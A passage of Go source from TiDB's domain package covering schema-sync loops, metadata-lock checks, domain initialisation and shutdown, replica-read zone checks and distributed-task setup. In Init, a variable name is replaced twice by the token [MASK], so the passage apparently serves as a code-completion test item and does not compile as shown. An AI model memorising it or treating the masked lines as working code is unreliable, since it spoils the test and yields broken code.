<-do.globalCfgSyncer.NotifyCh: err := do.globalCfgSyncer.StoreGlobalConfig(context.Background(), entry) if err != nil { logutil.BgLogger().Error(""global config syncer store failed"", zap.Error(err)) } // TODO(crazycs520): Add owner to maintain global config is consistency with global variable. case <-do.exit: return } } } func (do *Domain) topologySyncerKeeper() { defer util.Recover(metrics.LabelDomain, ""topologySyncerKeeper"", nil, false) ticker := time.NewTicker(infosync.TopologyTimeToRefresh) defer func() { ticker.Stop() logutil.BgLogger().Info(""topologySyncerKeeper exited."") }() for { select { case <-ticker.C: err := do.info.StoreTopologyInfo(context.Background()) if err != nil { logutil.BgLogger().Error(""refresh topology in loop failed"", zap.Error(err)) } case <-do.info.TopologyDone(): logutil.BgLogger().Info(""server topology syncer need to restart"") if err := do.info.RestartTopology(context.Background()); err != nil { logutil.BgLogger().Error(""server topology syncer restart failed"", zap.Error(err)) } else { logutil.BgLogger().Info(""server topology syncer restarted"") } case <-do.exit: return } } } // CheckAutoAnalyzeWindows checks the auto analyze windows and kill the auto analyze process if it is not in the window. func (do *Domain) CheckAutoAnalyzeWindows() { se, err := do.sysSessionPool.Get() if err != nil { logutil.BgLogger().Warn(""get system session failed"", zap.Error(err)) return } // Make sure the session is new. sctx := se.(sessionctx.Context) defer do.sysSessionPool.Put(se) if !autoanalyze.CheckAutoAnalyzeWindow(sctx) { for _, id := range handleutil.GlobalAutoAnalyzeProcessList.All() { do.SysProcTracker().KillSysProcess(id) } } } func (do *Domain) refreshMDLCheckTableInfo(ctx context.Context) { se, err := do.sysSessionPool.Get() if err != nil { logutil.BgLogger().Warn(""get system session failed"", zap.Error(err)) return } // Make sure the session is new. sctx := se.(sessionctx.Context) ctx = kv.WithInternalSourceType(ctx, kv.InternalTxnMeta) if _, err := sctx.GetSQLExecutor().ExecuteInternal(ctx, ""rollback""); err != nil { se.Close() return } defer do.sysSessionPool.Put(se) exec := sctx.GetRestrictedSQLExecutor() domainSchemaVer := do.InfoSchema().SchemaMetaVersion() // the job must stay inside tidb_ddl_job if we need to wait schema version for it. sql := fmt.Sprintf(`select job_id, version, table_ids from mysql.tidb_mdl_info where job_id >= %d and version <= %d`, do.minJobIDRefresher.GetCurrMinJobID(), domainSchemaVer) rows, _, err := exec.ExecRestrictedSQL(ctx, nil, sql) if err != nil { logutil.BgLogger().Warn(""get mdl info from tidb_mdl_info failed"", zap.Error(err)) return } do.mdlCheckTableInfo.mu.Lock() defer do.mdlCheckTableInfo.mu.Unlock() do.mdlCheckTableInfo.newestVer = domainSchemaVer do.mdlCheckTableInfo.jobsVerMap = make(map[int64]int64, len(rows)) do.mdlCheckTableInfo.jobsIDsMap = make(map[int64]string, len(rows)) for i := range rows { do.mdlCheckTableInfo.jobsVerMap[rows[i].GetInt64(0)] = rows[i].GetInt64(1) do.mdlCheckTableInfo.jobsIDsMap[rows[i].GetInt64(0)] = rows[i].GetString(2) } } func (do *Domain) mdlCheckLoop() { ticker := time.Tick(mdlCheckLookDuration) var saveMaxSchemaVersion int64 jobNeedToSync := false jobCache := make(map[int64]int64, 1000) for { // Wait for channels select { case <-do.mdlCheckCh: case <-ticker: case <-do.exit: return } if !vardef.EnableMDL.Load() { continue } do.mdlCheckTableInfo.mu.Lock() maxVer := do.mdlCheckTableInfo.newestVer if maxVer > saveMaxSchemaVersion { saveMaxSchemaVersion = maxVer } else if !jobNeedToSync { // Schema doesn't change, and no job to check in the last run. do.mdlCheckTableInfo.mu.Unlock() continue } jobNeedToCheckCnt := len(do.mdlCheckTableInfo.jobsVerMap) if jobNeedToCheckCnt == 0 { jobNeedToSync = false do.mdlCheckTableInfo.mu.Unlock() continue } jobsVerMap := make(map[int64]int64, len(do.mdlCheckTableInfo.jobsVerMap)) jobsIDsMap := make(map[int64]string, len(do.mdlCheckTableInfo.jobsIDsMap)) maps.Copy(jobsVerMap, do.mdlCheckTableInfo.jobsVerMap) maps.Copy(jobsIDsMap, do.mdlCheckTableInfo.jobsIDsMap) do.mdlCheckTableInfo.mu.Unlock() jobNeedToSync = true sm := do.InfoSyncer().GetSessionManager() if sm == nil { logutil.BgLogger().Info(""session manager is nil"") } else { sm.CheckOldRunningTxn(jobsVerMap, jobsIDsMap) } if len(jobsVerMap) == jobNeedToCheckCnt { jobNeedToSync = false } // Try to gc jobCache. if len(jobCache) > 1000 { jobCache = make(map[int64]int64, 1000) } for jobID, ver := range jobsVerMap { if cver, ok := jobCache[jobID]; ok && cver >= ver { // Already update, skip it. continue } logutil.BgLogger().Info(""mdl gets lock, update self version to owner"", zap.Int64(""jobID"", jobID), zap.Int64(""version"", ver)) err := do.ddl.SchemaSyncer().UpdateSelfVersion(context.Background(), jobID, ver) if err != nil { jobNeedToSync = true logutil.BgLogger().Warn(""mdl gets lock, update self version to owner failed"", zap.Int64(""jobID"", jobID), zap.Int64(""version"", ver), zap.Error(err)) } else { jobCache[jobID] = ver } } } } func (do *Domain) loadSchemaInLoop(ctx context.Context) { defer util.Recover(metrics.LabelDomain, ""loadSchemaInLoop"", nil, true) // Lease renewal can run at any frequency. // Use lease/2 here as recommend by paper. ticker := time.NewTicker(do.schemaLease / 2) defer func() { ticker.Stop() logutil.BgLogger().Info(""loadSchemaInLoop exited."") }() syncer := do.ddl.SchemaSyncer() for { select { case <-ticker.C: failpoint.Inject(""disableOnTickReload"", func() { failpoint.Continue() }) err := do.Reload() if err != nil { logutil.BgLogger().Error(""reload schema in loop failed"", zap.Error(err)) } do.deferFn.check() case _, ok := <-syncer.GlobalVersionCh(): err := do.Reload() if err != nil { logutil.BgLogger().Error(""reload schema in loop failed"", zap.Error(err)) } if !ok { logutil.BgLogger().Warn(""reload schema in loop, schema syncer need rewatch"") // Make sure the rewatch doesn't affect load schema, so we watch the global schema version asynchronously. syncer.WatchGlobalSchemaVer(context.Background()) } case <-syncer.Done(): // The schema syncer stops, we need stop the schema validator to synchronize the schema version. logutil.BgLogger().Info(""reload schema in loop, schema syncer need restart"") // The etcd is responsible for schema synchronization, we should ensure there is at most two different schema version // in the TiDB cluster, to make the data/schema be consistent. If we lost connection/session to etcd, the cluster // will treats this TiDB as a down instance, and etcd will remove the key of `/tidb/ddl/all_schema_versions/tidb-id`. // Say the schema version now is 1, the owner is changing the schema version to 2, it will not wait for this down TiDB syncing the schema, // then continue to change the TiDB schema to version 3. Unfortunately, this down TiDB schema version will still be version 1. // And version 1 is not consistent to version 3. So we need to stop the schema validator to prohibit the DML executing. do.SchemaValidator.Stop() err := do.mustRestartSyncer(ctx) if err != nil { logutil.BgLogger().Error(""reload schema in loop, schema syncer restart failed"", zap.Error(err)) break } // The schema maybe changed, must reload schema then the schema validator can restart. exitLoop := do.mustReload() // domain is closed. if exitLoop { logutil.BgLogger().Error(""domain is closed, exit loadSchemaInLoop"") return } do.SchemaValidator.Restart() logutil.BgLogger().Info(""schema syncer restarted"") case <-do.exit: return } do.refreshMDLCheckTableInfo(ctx) select { case do.mdlCheckCh <- struct{}{}: default: } } } // mustRestartSyncer tries to restart the SchemaSyncer. // It returns until it's successful or the domain is stopped. func (do *Domain) mustRestartSyncer(ctx context.Context) error { syncer := do.ddl.SchemaSyncer() for { err := syncer.Restart(ctx) if err == nil { return nil } // If the domain has stopped, we return an error immediately. if do.isClose() { return err } logutil.BgLogger().Error(""restart the schema syncer failed"", zap.Error(err)) time.Sleep(time.Second) } } // mustReload tries to Reload the schema, it returns until it's successful or the domain is closed. // it returns false when it is successful, returns true when the domain is closed. func (do *Domain) mustReload() (exitLoop bool) { for { err := do.Reload() if err == nil { logutil.BgLogger().Info(""mustReload succeed"") return false } // If the domain is closed, we returns immediately. logutil.BgLogger().Info(""reload the schema failed"", zap.Error(err)) if do.isClose() { return true } time.Sleep(200 * time.Millisecond) } } func (do *Domain) isClose() bool { select { case <-do.exit: logutil.BgLogger().Info(""domain is closed"") return true default: } return false } // Close closes the Domain and release its resource. func (do *Domain) Close() { if do == nil { return } startTime := time.Now() if do.ddl != nil { terror.Log(do.ddl.Stop()) } ttlJobManager := do.ttlJobManager.Load() if ttlJobManager != nil { logutil.BgLogger().Info(""stopping ttlJobManager"") ttlJobManager.Stop() err := ttlJobManager.WaitStopped(context.Background(), func() time.Duration { if intest.InTest { return 10 * time.Second } return 30 * time.Second }()) if err != nil { logutil.BgLogger().Warn(""fail to wait until the ttl job manager stop"", zap.Error(err)) } else { logutil.BgLogger().Info(""ttlJobManager exited."") } } do.releaseServerID(context.Background()) close(do.exit) if do.brOwnerMgr != nil { do.brOwnerMgr.Close() } do.runawayManager.Stop() do.slowQuery.Close() do.cancelFns.mu.Lock() for _, f := range do.cancelFns.fns { f() } do.cancelFns.mu.Unlock() // Clean etcd session and close the clients. // We should wait all the etcd keys keeper to exit // in case the keeper rewrite the key after the cleaning. do.wg.Wait() if do.info != nil { do.info.RemoveServerInfo() do.info.RemoveMinStartTS() do.info.RemoveTopologyInfo() } if do.unprefixedEtcdCli != nil { terror.Log(errors.Trace(do.unprefixedEtcdCli.Close())) } if do.etcdClient != nil { terror.Log(errors.Trace(do.etcdClient.Close())) } do.sysSessionPool.Close() do.advancedSysSessionPool.Close() variable.UnregisterStatistics(do.BindingHandle()) if do.onClose != nil { do.onClose() } gctuner.WaitMemoryLimitTunerExitInTest() close(do.mdlCheckCh) // close MockGlobalServerInfoManagerEntry in order to refresh mock server info. if intest.InTest { infosync.MockGlobalServerInfoManagerEntry.Close() } if handle := do.statsHandle.Load(); handle != nil { handle.Close() } logutil.BgLogger().Info(""domain closed"", zap.Duration(""take time"", time.Since(startTime))) } const resourceIdleTimeout = 3 * time.Minute // resources in the ResourcePool will be recycled after idleTimeout // NewDomain creates a new domain. Should not create multiple domains for the same store. func NewDomain(store kv.Storage, schemaLease time.Duration, statsLease time.Duration, dumpFileGcLease time.Duration, factory pools.Factory) *Domain { return NewDomainWithEtcdClient(store, schemaLease, statsLease, dumpFileGcLease, factory, nil) } // NewDomainWithEtcdClient creates a new domain with etcd client. Should not create multiple domains for the same store. func NewDomainWithEtcdClient(store kv.Storage, schemaLease time.Duration, statsLease time.Duration, dumpFileGcLease time.Duration, factory pools.Factory, etcdClient *clientv3.Client) *Domain { intest.Assert(schemaLease > 0, ""schema lease should be a positive duration"") capacity := 200 // capacity of the sysSessionPool size do := &Domain{ store: store, exit: make(chan struct{}), sysSessionPool: util.NewSessionPool( capacity, factory, func(r pools.Resource) { _, ok := r.(sessionctx.Context) intest.Assert(ok) infosync.StoreInternalSession(r) }, func(r pools.Resource) { sctx, ok := r.(sessionctx.Context) intest.Assert(ok) intest.AssertFunc(func() bool { txn, _ := sctx.Txn(false) return txn == nil || !txn.Valid() }) infosync.DeleteInternalSession(r) }, func(r pools.Resource) { intest.Assert(r != nil) infosync.DeleteInternalSession(r) }, ), statsLease: statsLease, schemaLease: schemaLease, slowQuery: newTopNSlowQueries(config.GetGlobalConfig().InMemSlowQueryTopNNum, time.Hour*24*7, config.GetGlobalConfig().InMemSlowQueryRecentNum), dumpFileGcChecker: &dumpFileGcChecker{gcLease: dumpFileGcLease, paths: []string{replayer.GetPlanReplayerDirName(), GetOptimizerTraceDirName(), GetExtractTaskDirName()}}, mdlCheckTableInfo: &mdlCheckTableInfo{ mu: sync.Mutex{}, jobsVerMap: make(map[int64]int64), jobsIDsMap: make(map[int64]string), }, mdlCheckCh: make(chan struct{}), } do.advancedSysSessionPool = syssession.NewAdvancedSessionPool(capacity, func() (syssession.SessionContext, error) { r, err := factory() if err != nil { return nil, err } sctx, ok := r.(syssession.SessionContext) intest.Assert(ok, ""type: %T should be cast to syssession.SessionContext"", r) if !ok { return nil, errors.Errorf(""type: %T cannot be cast to syssession.SessionContext"", r) } return sctx, nil }) do.infoCache = infoschema.NewCache(do, int(vardef.SchemaVersionCacheLimit.Load())) do.stopAutoAnalyze.Store(false) do.wg = util.NewWaitGroupEnhancedWrapper(""domain"", do.exit, config.GetGlobalConfig().TiDBEnableExitCheck) do.SchemaValidator = NewSchemaValidator(schemaLease, do) do.expensiveQueryHandle = expensivequery.NewExpensiveQueryHandle(do.exit) do.memoryUsageAlarmHandle = memoryusagealarm.NewMemoryUsageAlarmHandle(do.exit, &memoryusagealarm.TiDBConfigProvider{}) do.serverMemoryLimitHandle = servermemorylimit.NewServerMemoryLimitHandle(do.exit) do.sysProcesses = SysProcesses{mu: &sync.RWMutex{}, procMap: make(map[uint64]sysproctrack.TrackProc)} do.initDomainSysVars() do.expiredTimeStamp4PC.expiredTimeStamp = types.NewTime(types.ZeroCoreTime, mysql.TypeTimestamp, types.DefaultFsp) do.etcdClient = etcdClient return do } const serverIDForStandalone = 1 // serverID for standalone deployment. // Init initializes a domain. after return, session can be used to do DMLs but not // DDLs which can be used after domain Start. func (do *Domain) Init( sysExecutorFactory func(*Domain) (pools.Resource, error), ddlInjector func(ddl.DDL, ddl.Executor, *infoschema.InfoCache) *schematracker.Checker, ) error { do.sysExecutorFactory = sysExecutorFactory perfschema.Init() etcdStore, addrs, err := store.GetEtcdAddrs(do.store) if err != nil { return errors.Trace(err) } if len(addrs) > 0 { cli, err2 := store.NewEtcdCliWithAddrs(addrs, etcdStore) if err2 != nil { return errors.Trace(err2) } etcd.SetEtcdCliByNamespace(cli, keyspace.MakeKeyspaceEtcdNamespace(do.store.GetCodec())) do.etcdClient = cli do.autoidClient = autoid.NewClientDiscover(cli) unprefixedEtcdCli, err2 := store.NewEtcdCliWithAddrs(addrs, etcdStore) if err2 != nil { return errors.Trace(err2) } do.unprefixedEtcdCli = unprefixedEtcdCli } ctx, cancelFunc := context.WithCancel(context.Background()) do.ctx = ctx do.cancelFns.mu.Lock() do.cancelFns.fns = append(do.cancelFns.fns, cancelFunc) do.cancelFns.mu.Unlock() ddlNotifierStore := notifier.OpenTableStore(""mysql"", ddl.NotifierTableName) do.ddlNotifier = notifier.NewDDLNotifier( do.sysSessionPool, ddlNotifierStore, time.Second, ) // TODO(lance6716): find a more representative place for subscriber failpoint.InjectCall(""afterDDLNotifierCreated"", do.ddlNotifier) d := do.ddl eBak := do.ddlExecutor do.ddl, do.ddlExecutor = ddl.NewDDL( ctx, ddl.WithEtcdClient(do.etcdClient), ddl.WithStore(do.store), ddl.WithAutoIDClient(do.autoidClient), ddl.WithInfoCache(do.infoCache), ddl.WithLease(do.schemaLease), ddl.WithSchemaLoader(do), ddl.WithEventPublishStore(ddlNotifierStore), ) failpoint.Inject(""MockReplaceDDL"", func(val failpoint.Value) { if val.(bool) { do.ddl = d do.ddlExecutor = eBak } }) if ddlInjector != nil { checker := ddlInjector(do.ddl, do.ddlExecutor, do.infoCache) checker.CreateTestDB(nil) do.ddl = checker do.ddlExecutor = checker } // step 1: prepare the info/schema syncer which domain reload needed. pdCli, [MASK] := do.GetPDClient(), do.GetPDHTTPClient() skipRegisterToDashboard := config.GetGlobalConfig().SkipRegisterToDashboard do.info, err = infosync.GlobalInfoSyncerInit(ctx, do.ddl.GetID(), do.ServerID, do.etcdClient, do.unprefixedEtcdCli, pdCli, [MASK] , do.Store().GetCodec(), skipRegisterToDashboard, do.infoCache) if err != nil { return err } do.globalCfgSyncer = globalconfigsync.NewGlobalConfigSyncer(pdCli) err = do.ddl.SchemaSyncer().Init(ctx) if err != nil { return err } // step 2: initialize the global kill, which depends on `globalInfoSyncer`.` if config.GetGlobalConfig().EnableGlobalKill { do.connIDAllocator = globalconn.NewGlobalAllocator(do.ServerID, config.GetGlobalConfig().Enable32BitsConnectionID) if do.etcdClient != nil { err := do.acquireServerID(ctx) if err != nil { logutil.BgLogger().Error(""acquire serverID failed"", zap.Error(err)) do.isLostConnectionToPD.Store(1) // will retry in `do.serverIDKeeper` } else { if err := do.info.StoreServerInfo(context.Background()); err != nil { return errors.Trace(err) } do.isLostConnectionToPD.Store(0) } } else { // set serverID for standalone deployment to enable 'KILL'. atomic.StoreUint64(&do.serverID, serverIDForStandalone) } } else { do.connIDAllocator = globalconn.NewSimpleAllocator() } // should put `initResourceGroupsController` after fetching server ID err = do.initResourceGroupsController(ctx, pdCli, do.ServerID()) if err != nil { return err } // step 3: domain reload the infoSchema. return do.Reload() } // Start starts the domain. After start, DDLs can be executed using session, see // Init also. func (do *Domain) Start(startMode ddl.StartMode) error { gCfg := config.GetGlobalConfig() if gCfg.EnableGlobalKill && do.etcdClient != nil { do.wg.Add(1) go do.serverIDKeeper() } // TODO: Here we create new sessions with sysFac in DDL, // which will use `do` as Domain instead of call `domap.Get`. // That's because `domap.Get` requires a lock, but before // we initialize Domain finish, we can't require that again. // After we remove the lazy logic of creating Domain, we // can simplify code here. sysFac := func() (pools.Resource, error) { return do.sysExecutorFactory(do) } sysCtxPool := pools.NewResourcePool(sysFac, 512, 512, resourceIdleTimeout) // start the ddl after the domain reload, avoiding some internal sql running before infoSchema construction. err := do.ddl.Start(startMode, sysCtxPool) if err != nil { return err } do.minJobIDRefresher = do.ddl.GetMinJobIDRefresher() // Local store needs to get the change information for every DDL state in each session. do.wg.Run(func() { do.loadSchemaInLoop(do.ctx) }, ""loadSchemaInLoop"") do.wg.Run(do.mdlCheckLoop, ""mdlCheckLoop"") do.wg.Run(do.topNSlowQueryLoop, ""topNSlowQueryLoop"") do.wg.Run(do.infoSyncerKeeper, ""infoSyncerKeeper"") do.wg.Run(do.globalConfigSyncerKeeper, ""globalConfigSyncerKeeper"") do.wg.Run(do.runawayStartLoop, ""runawayStartLoop"") do.wg.Run(do.requestUnitsWriterLoop, ""requestUnitsWriterLoop"") skipRegisterToDashboard := gCfg.SkipRegisterToDashboard if !skipRegisterToDashboard { do.wg.Run(do.topologySyncerKeeper, ""topologySyncerKeeper"") } pdCli := do.GetPDClient() if pdCli != nil { do.wg.Run(func() { do.closestReplicaReadCheckLoop(do.ctx, pdCli) }, ""closestReplicaReadCheckLoop"") } err = do.initLogBackup(do.ctx, pdCli) if err != nil { return err } return nil } // GetSchemaLease return the schema lease. func (do *Domain) GetSchemaLease() time.Duration { return do.schemaLease } // IsLeaseExpired returns whether lease has expired func (do *Domain) IsLeaseExpired() bool { return do.SchemaValidator.IsLeaseExpired() } // InitInfo4Test init infosync for distributed execution test. func (do *Domain) InitInfo4Test() { infosync.MockGlobalServerInfoManagerEntry.Add(do.ddl.GetID(), do.ServerID) } // SetOnClose used to set do.onClose func. func (do *Domain) SetOnClose(onClose func()) { do.onClose = onClose } func (do *Domain) initLogBackup(ctx context.Context, pdClient pd.Client) error { cfg := config.GetGlobalConfig() if pdClient == nil || do.etcdClient == nil { log.Warn(""pd / etcd client not provided, won't begin Advancer."") return nil } tikvStore, ok := do.Store().(tikv.Storage) if !ok { log.Warn(""non tikv store, stop begin Advancer."") return nil } env, err := streamhelper.TiDBEnv(tikvStore, pdClient, do.etcdClient, cfg) if err != nil { return err } adv := streamhelper.NewCheckpointAdvancer(env) do.brOwnerMgr = streamhelper.OwnerManagerForLogBackup(ctx, do.etcdClient) do.logBackupAdvancer = daemon.New(adv, do.brOwnerMgr, adv.Config().TickDuration) loop, err := do.logBackupAdvancer.Begin(ctx) if err != nil { return err } do.wg.Run(loop, ""logBackupAdvancer"") return nil } // when tidb_replica_read = 'closest-adaptive', check tidb and tikv's zone label matches. // if not match, disable replica_read to avoid uneven read traffic distribution. func (do *Domain) closestReplicaReadCheckLoop(ctx context.Context, pdClient pd.Client) { defer util.Recover(metrics.LabelDomain, ""closestReplicaReadCheckLoop"", nil, false) // trigger check once instantly. if err := do.checkReplicaRead(ctx, pdClient); err != nil { logutil.BgLogger().Warn(""refresh replicaRead flag failed"", zap.Error(err)) } ticker := time.NewTicker(time.Minute) defer func() { ticker.Stop() logutil.BgLogger().Info(""closestReplicaReadCheckLoop exited."") }() for { select { case <-ctx.Done(): return case <-ticker.C: if err := do.checkReplicaRead(ctx, pdClient); err != nil { logutil.BgLogger().Warn(""refresh replicaRead flag failed"", zap.Error(err)) } } } } // Periodically check and update the replica-read status when `tidb_replica_read` is set to ""closest-adaptive"" // We disable ""closest-adaptive"" in following conditions to ensure the read traffic is evenly distributed across // all AZs: // - There are no TiKV servers in the AZ of this tidb instance // - The AZ if this tidb contains more tidb than other AZ and this tidb's id is the bigger one. func (do *Domain) checkReplicaRead(ctx context.Context, pdClient pd.Client) error { do.sysVarCache.RLock() replicaRead := do.sysVarCache.global[vardef.TiDBReplicaRead] do.sysVarCache.RUnlock() if !strings.EqualFold(replicaRead, ""closest-adaptive"") { logutil.BgLogger().Debug(""closest replica read is not enabled, skip check!"", zap.String(""mode"", replicaRead)) return nil } serverInfo, err := infosync.GetServerInfo() if err != nil { return err } zone := """" for k, v := range serverInfo.Labels { if k == placement.DCLabelKey && v != """" { zone = v break } } if zone == """" { logutil.BgLogger().Debug(""server contains no 'zone' label, disable closest replica read"", zap.Any(""labels"", serverInfo.Labels)) variable.SetEnableAdaptiveReplicaRead(false) return nil } stores, err := pdClient.GetAllStores(ctx, opt.WithExcludeTombstone()) if err != nil { return err } storeZones := make(map[string]int) for _, s := range stores { // skip tumbstone stores or tiflash if s.NodeState == metapb.NodeState_Removing || s.NodeState == metapb.NodeState_Removed || engine.IsTiFlash(s) { continue } for _, label := range s.Labels { if label.Key == placement.DCLabelKey && label.Value != """" { storeZones[label.Value] = 0 break } } } // no stores in this AZ if _, ok := storeZones[zone]; !ok { variable.SetEnableAdaptiveReplicaRead(false) return nil } servers, err := infosync.GetAllServerInfo(ctx) if err != nil { return err } svrIDsInThisZone := make([]string, 0) for _, s := range servers { if v, ok := s.Labels[placement.DCLabelKey]; ok && v != """" { if _, ok := storeZones[v]; ok { storeZones[v]++ if v == zone { svrIDsInThisZone = append(svrIDsInThisZone, s.ID) } } } } enabledCount := math.MaxInt for _, count := range storeZones { if count < enabledCount { enabledCount = count } } // sort tidb in the same AZ by ID and disable the tidb with bigger ID // because ID is unchangeable, so this is a simple and stable algorithm to select // some instances across all tidb servers. if enabledCount < len(svrIDsInThisZone) { sort.Slice(svrIDsInThisZone, func(i, j int) bool { return strings.Compare(svrIDsInThisZone[i], svrIDsInThisZone[j]) < 0 }) } enabled := true if slices.Contains(svrIDsInThisZone[enabledCount:], serverInfo.ID) { enabled = false } if variable.SetEnableAdaptiveReplicaRead(enabled) { logutil.BgLogger().Info(""tidb server adaptive closest replica read is changed"", zap.Bool(""enable"", enabled)) } return nil } // InitDistTaskLoop initializes the distributed task framework. func (do *Domain) InitDistTaskLoop() error { ctx := kv.WithInternalSourceType(context.Background(), kv.InternalDistTask) failpoint.Inject(""MockDisableDistTask"", func(val failpoint.Value) { if val.(bool) { failpoint.Return(nil) } }) taskManager := storage.NewTaskManager(do.sysSessionPool) var serverID string if intest.InTest { do.InitInfo4Test() serverID = disttaskutil.GenerateSubtaskExecID4Test(do.ddl.GetID()) } else { serverID = disttaskutil.GenerateSubtaskExecID(ctx, do.ddl.GetID()) } if serverID == """" { errMsg := fmt.Sprintf(""TiDB node ID( = %s ) not found in available TiDB nodes list"", do.ddl.GetID()) return errors.New(errMsg) } managerCtx, cancel := context.WithCancel(ctx) do.cancelFns.mu.Lock() do.cancelFns.fns = append(do.cancelFns.fns, cancel) do.cancelFns.mu.Unlock() nodeRes, err := calculateNodeResource() if err != nil { return err } disthandle.SetNodeResource(nodeRes) executorManager, err := taskexecutor.NewManager(managerCtx, serverID, taskManager, nodeRes) if err != nil { return err } storage.SetTaskManager(taskManager) if err = executorManager.InitMeta(); err != nil { // executor manager loop will try to recover meta repeatedly, so we can // just log the error here. logutil.BgLogger().Warn(""init task executor manager meta failed"", zap.Error(err)) } do.wg.Run(func() { defer func() { storage.SetTaskManager(nil) }() do.distTaskFrameworkLoop(ctx, taskManager, executorManager, serverID, nodeRes) }, ""distTaskFrameworkLoop"") return nil } func calculateNodeResource() (*proto.NodeResource, error) { logger := logutil.ErrVerboseLogger() totalMem, err := memory.MemTotal() if err != nil { // should not happen normally, as in main function of tidb-server, we assert // that memory.MemTotal() will not fail. return nil, err } totalCPU := cpu.GetCPUCount() if totalCPU <= 0 || totalMem <= 0 { return nil, errors.Errorf(""invalid cpu or memory, cpu: %d, memory: %d"", totalCPU, totalMem) } cgroupLimit, version, err := cgroup.GetCgroupMemLimit() // ignore the error of cgroup.GetCgroupMemLimit, as it's not a must-success step. if err == nil && version == cgroup.V2 { // see cgroup.detectMemLimitInV2 for more details. // below are some real memory limits tested on GCP: // node-spec real-limit percent // 16c32g 27.83Gi 87% // 32c64g 57.36Gi 89.6% // we use 'limit', not totalMem for adjust, as totalMem = min(physical-mem, 'limit') // content of 'memory.max' might be 'max', so we use the min of them. adjustedMem := min(totalMem, uint64(float64(cgroupLimit)*0.88)) logger.Info(""adjust memory limit for cgroup v2"", zap.String(""before"", units.BytesSize(float64(totalMem))), zap.String(""after"", units.BytesSize(float64(adjustedMem)))) totalMem = adjustedMem } var totalDisk uint64 cfg := config.GetGlobalConfig() sz, err := lcom.GetStorageSize(cfg.TempDir) if err != nil { logger.Warn(""get storage size failed, use tidb_ddl_disk_quota instead"", zap.Error(err)) totalDisk = vardef.DDLDiskQuota.Load() } else { totalDisk = sz.Capacity } logger.Info(""initialize node resource"", zap.Int(""total-cpu"", totalCPU), zap.String(""total-mem"", units.BytesSize(float64(totalMem))), zap.String(""total-disk"", units.BytesSize(float64(totalDisk)))) return proto.NewNodeResource(totalCPU, int64(totalMem), totalDisk), nil } func (do *Domain) distTaskFrameworkLoop(ctx context.Context, taskManager *storage.TaskManager, executorManager *taskexecutor.Manager, serverID string, nodeRes *proto.NodeResource) { err := executorManager.Start() if err != nil { logutil.BgLogger().Error(""dist task executor manager start failed"", zap.Error(err)) return } logutil.BgLogger().Info(""dist task executor manager started"") defer func() { logutil.BgLogger().Info(""stopping dist task executor manager"") executorManager.Stop() logutil.BgLogger().Info(""dist task executor manager stopped"") }() var schedulerManager *scheduler.Manager startSchedulerMgrIfNeeded := func() { if schedulerManager != nil && schedulerManager.Initialized() { return } schedulerManager = scheduler.NewManager(ctx, taskManager, serverID, nodeRes) schedulerManager.Start() } stopSchedulerMgrIfNeeded := func() { if schedulerManager != nil && schedulerManager.Initialized() { logutil.BgLogger().Info(""stopping dist task scheduler manager because the current node is not DDL owner anymore"", zap.String(""id"", do.ddl.GetID())) schedulerManager.Stop() logutil.BgLogger().Info(""dist task scheduler manager stopped"", zap.String(""id"", do.ddl.GetID())) } } ticker := time.NewTicker(time.Second) for { select { case <-do.exit: stopSchedulerMgrIfNeeded() return case <-ticker.C: if do.ddl.OwnerManager().IsOwner() { startSchedulerMgrIfNeeded() } else { stopSchedulerMgrIfNeeded() } } } } // SysSessionPool returns the system session pool. // Deprecated: Use AdvancedSysSessionPool instead. func (do *Domain) SysSessionPool() util.DestroyableSessionPool { return do.sysSessionPool } // AdvancedSysSessionPool is a more powerful session pool that returns a wrapped session which can detect // some misuse of the session to avoid potential bugs. // It is recommended to use this pool instead of `sysSessionPool`. func (do *Domain) AdvancedSysSessionPool() syssession.Pool { return do.advancedSysSessionPool } // SysProcTracker returns the system processes tracker. func (do *Domain) SysProcTracker() sysproctrack.Tracker { return &do.sysProcesses } // DDLNotifier returns the DDL notifier. func (do *Domain) DDLNotifier() *notifier.DDLNotifier { return do.ddlNotifier } // GetEtcdClient returns the etcd client. func (do *Domain) GetEtcdClient() *clientv3.Client { return do.etcdClient } // AutoIDClient returns the autoid client. func (do *Domain) AutoIDClient() *autoid.ClientDiscover { return do.autoidClient } // GetPDClient returns the PD client. func (do *Domain) GetPDClient() pd.Client { if store, ok := do.store.(kv.StorageWithPD); ok { return store.GetPDClient() } return nil } // GetPDHTTPClient returns the PD HTTP client. func (do *Domain) GetPDHTTPClient() pdhttp.Client { if store, ok := do.store.(kv.StorageWithPD); ok { return store.GetPDHTTPClient() } return nil } func (do *Domain) decodePrivilegeEvent(resp clientv3.WatchResponse) PrivilegeEvent { var msg PrivilegeEvent isNewVersionEvents := false for _, event := range resp.Events { if event.Kv != nil { val := event.Kv.Value if len(val) > 0 { var tmp PrivilegeEvent err := json.Unmarshal(val, &tmp) if err != nil { logutil.BgLogger().Warn(""decodePrivilegeEvent unmarshal fail"", zap.Error(err)) break } isNewVersionEvents = true if do.ServerID() != 0 && tmp.ServerID == do.ServerID() { // Skip the events from this TiDB-Server continue } if tmp.All { msg.All = true break } // duplicated users in list is ok. msg.UserList = append(msg.UserList, tmp.UserList...) } } } // In case old version triggers the event, the event value is empty, // Then we fall back to the old way: reload all the users. if len(msg.UserList) == 0 && !isNewVersionEvents { msg.All = true } return msg } func (do *Domain) batchReadMoreData(ch clientv3.WatchChan, event PrivilegeEvent) PrivilegeEvent { timer := time.NewTimer(5 * time.Millisecond) defer timer.Stop() const maxBatchSize = 128 for range maxBatchSize { select { case resp, ok := <-ch: if !ok { return event } tmp := do.decodePrivilegeEvent(resp) if tmp.All { event.All = true } else { if !event.All { event.UserList = append(event.UserList, tmp.UserList...) } } succ := timer.Reset(5 * time.Millisecond) if !succ { return event } case <-timer.C: return event } } return event } // LoadPrivilegeLoop create a goroutine loads privilege tables in a loop, it // should be called only once in BootstrapSession. func (do *Domain) LoadPrivilegeLoop(sctx sessionctx.Context) error { ctx := kv.WithInternalSourceType(context.Background(), kv.InternalTxnPrivilege) sctx.GetSessionVars().InRestrictedSQL = true _, err := sctx.GetSQLExecutor().ExecuteInternal(ctx, ""set @@autocommit = 1"") if err != nil { return err } do.privHandle = privileges.NewHandle(do.SysSessionPool(), sctx.GetSessionVars().GlobalVarsAccessor) var watchCh clientv3.WatchChan duration := 5 * time.Minute if do.etcdClient != nil { watchCh = do.etcdClient.Watch(do.ctx, privilegeKey) duration = 10 * time.Minute } do.wg.Run(func() { defer func() { logutil.BgLogger().Info(""loadPrivilegeInLoop exited."") }() defer util.Recover(metrics.LabelDomain, ""loadPrivilegeInLoop"", nil, false) var count int for { var event PrivilegeEvent select { 